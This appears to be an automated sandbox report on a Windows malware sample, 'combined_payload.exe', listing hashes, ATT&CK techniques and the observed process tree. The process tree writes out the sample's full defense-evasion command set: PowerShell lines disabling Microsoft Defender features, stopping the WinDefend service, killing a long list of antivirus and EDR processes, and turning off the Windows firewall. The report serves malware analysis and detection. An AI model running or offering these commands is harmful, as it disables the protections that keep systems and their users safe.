Analysis
- user interaction
yes - max time kernel
24s - max time network
27s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 16:34
Static task
static1
Behavioral task
behavioral1
Sample
combined_payload.exe
Resource
win10v2004-20260911-en
General
- Target combined_payload.exe
- Size 1.5MB
- Sample260930-t3c2esda82
- SHA256 2d275f8c548e15c10939ce1d45e4e801b2e2a02573c1889a6c8305c4f4db9466
- MD5 070f39e93c9efbbdb8286e0b2074f870
- SHA1 3fb247d83fd82168a126f7ceb5b083f71b423e4d
- SHA512 2919cff903f9f92706d8186c28829f4bb9e04f4665e3352dd54590d60aa3fc5d1a2733f56556bb14d82f57534af100acd4396eced2cf88fa3bc46d0fc088fad4
- SSDEEP 24576:r+U2olNKpITtnj/nG89LFVRn6bwGXylGBn76U7CuR7hP/:lKpITZNOz7PWa
- TLSH T17A753A03A7E6DDEAC89AA73891C72719F674FC5017A39BDB431052212E537D99E3EB00
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Disables one or more Microsoft Defender components 1 TTPs 5 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 1884 powershell.exe 1576 powershell.exe 4548 powershell.exe 3608 powershell.exe 3308 powershell.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1256 netsh.exe - Disables service(s) 3 TTPs
- Stops running service(s) 4 TTPs
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pid Process 3308 powershell.exe 1884 powershell.exe 1576 powershell.exe 4548 powershell.exe 3608 powershell.exe - Enumerates connected drives 3 TTPs 5 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 660 sc.exe 4404 sc.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Kills process with taskkill 15 IoCs
pid Process 1624 taskkill.exe 2500 taskkill.exe 3312 taskkill.exe 5020 taskkill.exe 1596 taskkill.exe 3388 taskkill.exe 2312 taskkill.exe 4944 taskkill.exe 4372 taskkill.exe 860 taskkill.exe 2452 taskkill.exe 4732 taskkill.exe 2900 taskkill.exe 3660 taskkill.exe 2936 taskkill.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3608 powershell.exe 3608 powershell.exe 3308 powershell.exe 3308 powershell.exe 1884 powershell.exe 1884 powershell.exe 1576 powershell.exe 1576 powershell.exe 4548 powershell.exe 4548 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3608 powershell.exe Token: SeDebugPrivilege 3308 powershell.exe Token: SeDebugPrivilege 1884 powershell.exe Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 4548 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4696 combined_payload.exe 4696 combined_payload.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4696 wrote to memory of 3608 4696 combined_payload.exe 86 PID 4696 wrote to memory of 3308 4696 combined_payload.exe 88 PID 4696 wrote to memory of 1884 4696 combined_payload.exe 91 PID 4696 wrote to memory of 1576 4696 combined_payload.exe 94 PID 4696 wrote to memory of 4548 4696 combined_payload.exe 97 PID 4696 wrote to memory of 660 4696 combined_payload.exe 99 PID 4696 wrote to memory of 4404 4696 combined_payload.exe 101 PID 4696 wrote to memory of 5020 4696 combined_payload.exe 103 PID 4696 wrote to memory of 1596 4696 combined_payload.exe 105 PID 4696 wrote to memory of 4732 4696 combined_payload.exe 107 PID 4696 wrote to memory of 860 4696 combined_payload.exe 109 PID 4696 wrote to memory of 2452 4696 combined_payload.exe 111 PID 4696 wrote to memory of 2900 4696 combined_payload.exe 113 PID 4696 wrote to memory of 3660 4696 combined_payload.exe 115 PID 4696 wrote to memory of 3388 4696 combined_payload.exe 117 PID 4696 wrote to memory of 2312 4696 combined_payload.exe 119 PID 4696 wrote to memory of 1624 4696 combined_payload.exe 121 PID 4696 wrote to memory of 4944 4696 combined_payload.exe 123 PID 4696 wrote to memory of 2500 4696 combined_payload.exe 125 PID 4696 wrote to memory of 2936 4696 combined_payload.exe 127 PID 4696 wrote to memory of 4372 4696 combined_payload.exe 129 PID 4696 wrote to memory of 3312 4696 combined_payload.exe 131 PID 4696 wrote to memory of 1256 4696 combined_payload.exe 133 PID 4696 wrote to memory of 4200 4696 combined_payload.exe 135 PID 4200 wrote to memory of 3408 4200 net.exe 137
Processes
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C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548
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C:\Windows\SYSTEM32\sc.exesc stop WinDefend2⤵
- Launches sc.exe
PID:660
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C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4404
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe 2>nul2⤵
- Kills process with taskkill
PID:5020
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsSense.exe 2>nul2⤵
- Kills process with taskkill
PID:1596
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SenseIR.exe 2>nul2⤵
- Kills process with taskkill
PID:4732
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SenseNdr.exe 2>nul2⤵
- Kills process with taskkill
PID:860
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im WdNisSvc.exe 2>nul2⤵
- Kills process with taskkill
PID:2452
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe 2>nul2⤵
- Kills process with taskkill
PID:2900
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MpCmdRun.exe 2>nul2⤵
- Kills process with taskkill
PID:3660
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avp.exe 2>nul2⤵
- Kills process with taskkill
PID:3388
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe 2>nul2⤵
- Kills process with taskkill
PID:2312
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe 2>nul2⤵
- Kills process with taskkill
PID:1624
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe 2>nul2⤵
- Kills process with taskkill
PID:4944
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im kavfs.exe 2>nul2⤵
- Kills process with taskkill
PID:2500
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe 2>nul2⤵
- Kills process with taskkill
PID:2936
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe 2>nul2⤵
- Kills process with taskkill
PID:4372
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im sophos.exe 2>nul2⤵
- Kills process with taskkill
PID:3312
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C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1256
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C:\Windows\SYSTEM32\net.exenet stop mpssvc2⤵
- Suspicious use of WriteProcessMemory
PID:4200 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mpssvc3⤵PID:3408
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
- MD5 b594c0a5591fab95a43185dd9944a231
- SHA1 3d725e779790f3525ba12b0666f0a3a235644fed
- SHA512 452fc6194d00c466a3ceb98d2cce2e4262f6b0998b99c6b2ccd842d07449b177d1ce9ff4e7659e0b358eedf44bdc20cc30e3fdb2e4b61e56d94e3965f48cdb73
- TLSH T1C7112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0D210A1BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
- MD5 e60eb305a7b2d9907488068b7065abd3
- SHA1 1643dd7f915ac50c75bc01c53d68c5dafb9ce28d
- SHA512 95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b
- TLSH T108112223F38C8960CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 a2df2570980e1123d9af8e12a27a82d3a4d332f0e7dd44e4e225743207c099b3
- MD5 07a771c4f31f62b2d04e2befaa36dce7
- SHA1 662952ede6c1acbb575e8149a5ac2f08edade811
- SHA512 9e339a2d0bfaf5bbe5252f69061652c5880fe1233930830ca7190a65516366e05129907b1656a6790c0093ad82ac73ddee6738d0b78ecb1e3d888f467b889fe9
- TLSH T1D9112227F38D8920CC961539509DAC5172B586CB81AFDE9F7FC0D210A1BF584CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
- MD5 98baf5117c4fcec1692067d200c58ab3
- SHA1 5b33a57b72141e7508b615e17fb621612cb8e390
- SHA512 344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
- TLSH T1B3112223F78C8920CC961639509DAC5172B986CB81AFDE9F7FC0D210A1BF584CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ib25cgvc.wmh.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH